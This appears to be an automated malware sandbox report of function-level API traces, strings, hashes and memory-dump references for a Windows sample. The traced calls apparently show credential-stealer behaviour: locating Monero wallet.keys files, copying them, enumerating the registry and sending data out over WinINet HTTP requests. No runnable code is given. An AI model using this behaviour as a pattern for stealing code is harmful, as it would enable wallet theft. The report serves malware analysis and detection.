Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00F2E9D0,00000000,?,00F2A9E8,00000000,?,003419DC,00000000,?,003351CF), ref: 00325737
lstrlen.KERNEL32(00000000), ref: 0032574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0032575C
RtlAllocateHeap.NTDLL(00000000), ref: 00325763
lstrlen.KERNEL32(00000000), ref: 00325778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003257A9
lstrlen.KERNEL32(00000000), ref: 003257C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003257E1
lstrlen.KERNEL32(00000000,?,?), ref: 0032580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00325822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0032584D
InternetCloseHandle.WININET(00000000), ref: 003258B1
InternetCloseHandle.WININET(00000000), ref: 003258BE
InternetCloseHandle.WININET(00000000), ref: 003258C8

Strings

", xrefs: 00325706
--, xrefs: 00325280
", xrefs: 00325482
", xrefs: 003255C4
------, xrefs: 0032563B
------, xrefs: 00325297
------, xrefs: 003254F9
------, xrefs: 003253B7

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: b65d114e3ef01e7eafa85ba8a1a46dd6d817c3da7da772665ce04abcc4785c24
Instruction ID: a14cd51f1d60ea1dd962d3ea6f0410e7fe008b479371911a1ad9e8c5b2b29885
Opcode Fuzzy Hash: b65d114e3ef01e7eafa85ba8a1a46dd6d817c3da7da772665ce04abcc4785c24
Instruction Fuzzy Hash: 58324172920618AADB16EBA0DCD1FEEB778BF14700F404199F1467B092EF742A49DF52

Function 0032A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033AA70: StrCmpCA.SHLWAPI(00F291E0,0032A7A7,?,0032A7A7,00F291E0), ref: 0033AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0032AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0032AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0032ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032A8B0

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

lstrcat.KERNEL32(?,00000000), ref: 0032ACEB
lstrcat.KERNEL32(?,00341320), ref: 0032ACFA
lstrcat.KERNEL32(?,00000000), ref: 0032AD0D
lstrcat.KERNEL32(?,00341324), ref: 0032AD1C
lstrcat.KERNEL32(?,00000000), ref: 0032AD2F
lstrcat.KERNEL32(?,00341328), ref: 0032AD3E
lstrcat.KERNEL32(?,00000000), ref: 0032AD51
lstrcat.KERNEL32(?,0034132C), ref: 0032AD60
lstrcat.KERNEL32(?,00000000), ref: 0032AD73
lstrcat.KERNEL32(?,00341330), ref: 0032AD82
lstrcat.KERNEL32(?,00000000), ref: 0032AD95
lstrcat.KERNEL32(?,00341334), ref: 0032ADA4
lstrcat.KERNEL32(?,00000000), ref: 0032ADB7
lstrlen.KERNEL32(?), ref: 0032AE0D
lstrlen.KERNEL32(?), ref: 0032AE1C

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

DeleteFileA.KERNEL32(00000000), ref: 0032AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0032ABD4

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: c9031146ff3734061d35ea010c551b57a4a4e1956da540688d681ef159dbddae
Instruction ID: 471f3a7a1fa2387fc99037c9889b5a937a1e361045a3320b7a8fc5065709792f
Opcode Fuzzy Hash: c9031146ff3734061d35ea010c551b57a4a4e1956da540688d681ef159dbddae
Instruction Fuzzy Hash: CF124E71910508ABCB06EBA4DDD6EEE7778AF24300F504058F143BB091EF75AE0ADB62

Function 00325960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003259F8
StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00325A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00325B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00F2E940,00000000,?,00F2A9E8,00000000,?,00341A1C), ref: 00325E71
lstrlen.KERNEL32(00000000), ref: 00325E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00325E93
RtlAllocateHeap.NTDLL(00000000), ref: 00325E9A
lstrlen.KERNEL32(00000000), ref: 00325EAF
lstrlen.KERNEL32(00000000), ref: 00325ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00325EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00325F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00325F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00325F4C
InternetCloseHandle.WININET(00000000), ref: 00325FB0
InternetCloseHandle.WININET(00000000), ref: 00325FBD
HttpOpenRequestA.WININET(00000000,00F2E9C0,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 00325BF8

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

InternetCloseHandle.WININET(00000000), ref: 00325FC7

Strings

", xrefs: 00325CD5
------, xrefs: 00325D4C
------, xrefs: 00325A96
", xrefs: 00325E16
------, xrefs: 00325C0B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 762443f6e14f4478c252b6306f4656bf8383d49962eeff78af6f113b0d933c9f
Instruction ID: d84a2b2f17d1286f0921d6c180c09b209eceebfa7b188b12c327da0116515061
Opcode Fuzzy Hash: 762443f6e14f4478c252b6306f4656bf8383d49962eeff78af6f113b0d933c9f
Instruction Fuzzy Hash: 51120C72820518AADB16EBA0DCD5FEEB778BF14700F5041A9F1467B091EF702A4ADF61

Function 0032CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,00F2A628,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0032D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0032D0CE
lstrcat.KERNEL32(?,00000000), ref: 0032D208
lstrcat.KERNEL32(?,00341478), ref: 0032D217
lstrcat.KERNEL32(?,00000000), ref: 0032D22A
lstrcat.KERNEL32(?,0034147C), ref: 0032D239
lstrcat.KERNEL32(?,00000000), ref: 0032D24C
lstrcat.KERNEL32(?,00341480), ref: 0032D25B
lstrcat.KERNEL32(?,00000000), ref: 0032D26E
lstrcat.KERNEL32(?,00341484), ref: 0032D27D
lstrcat.KERNEL32(?,00000000), ref: 0032D290
lstrcat.KERNEL32(?,00341488), ref: 0032D29F
lstrcat.KERNEL32(?,00000000), ref: 0032D2B2
lstrcat.KERNEL32(?,0034148C), ref: 0032D2C1
lstrcat.KERNEL32(?,00000000), ref: 0032D2D4
lstrcat.KERNEL32(?,00341490), ref: 0032D2E3

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

lstrlen.KERNEL32(?), ref: 0032D32A
lstrlen.KERNEL32(?), ref: 0032D339

Part of subcall function 0033AA70: StrCmpCA.SHLWAPI(00F291E0,0032A7A7,?,0032A7A7,00F291E0), ref: 0033AA8F

DeleteFileA.KERNEL32(00000000), ref: 0032D3B4

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: c8a8af2accb51798d618928f234c05b424d4ac6cdb21a8c89c2b72a47f7c4081
Instruction ID: d272260e47e722997c05658b4ea6707ecfe5be717f2bd79a5743e95b05452e22
Opcode Fuzzy Hash: c8a8af2accb51798d618928f234c05b424d4ac6cdb21a8c89c2b72a47f7c4081
Instruction Fuzzy Hash: 24E14B72910508ABCB06EBA4DDD6EEE7778BF24300F104158F146BB191DE75AA09EF62

Function 00324880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00324915
StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 0032493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00324ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00340DDB,00000000,?,?,00000000,?,",00000000,?,00F2E830), ref: 00324DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00324E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00324E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00324E49
InternetCloseHandle.WININET(00000000), ref: 00324EAD
InternetCloseHandle.WININET(00000000), ref: 00324EC5
HttpOpenRequestA.WININET(00000000,00F2E9C0,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 00324B15

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

InternetCloseHandle.WININET(00000000), ref: 00324ECF

Strings

------, xrefs: 00324B28
", xrefs: 00324D33
------, xrefs: 00324C69
------, xrefs: 003249BD
", xrefs: 00324BF2

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 527570c3ed6e17c7efb111d37c8b5d8121c55a7cfbfd617cb353b47bb14a7f4d
Instruction ID: e3e81f41a5b26d17815740c274714fd7b7f7b8232b0dd743097e4dd24b25da68
Opcode Fuzzy Hash: 527570c3ed6e17c7efb111d37c8b5d8121c55a7cfbfd617cb353b47bb14a7f4d
Instruction Fuzzy Hash: 6612B872910618AADB16EBA0DC92FEEB778AF14300F504199F1467B091EF742F49DF62

Function 00338320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

RegOpenKeyExA.KERNEL32(00000000,00F2B230,00000000,00020019,00000000,003405B6), ref: 003383A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00338426
wsprintfA.USER32 ref: 00338459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0033847B
RegCloseKey.ADVAPI32(00000000), ref: 0033848C
RegCloseKey.ADVAPI32(00000000), ref: 00338499

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Strings

?, xrefs: 0033837A
%s\%s, xrefs: 0033844D
- , xrefs: 003385A3

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
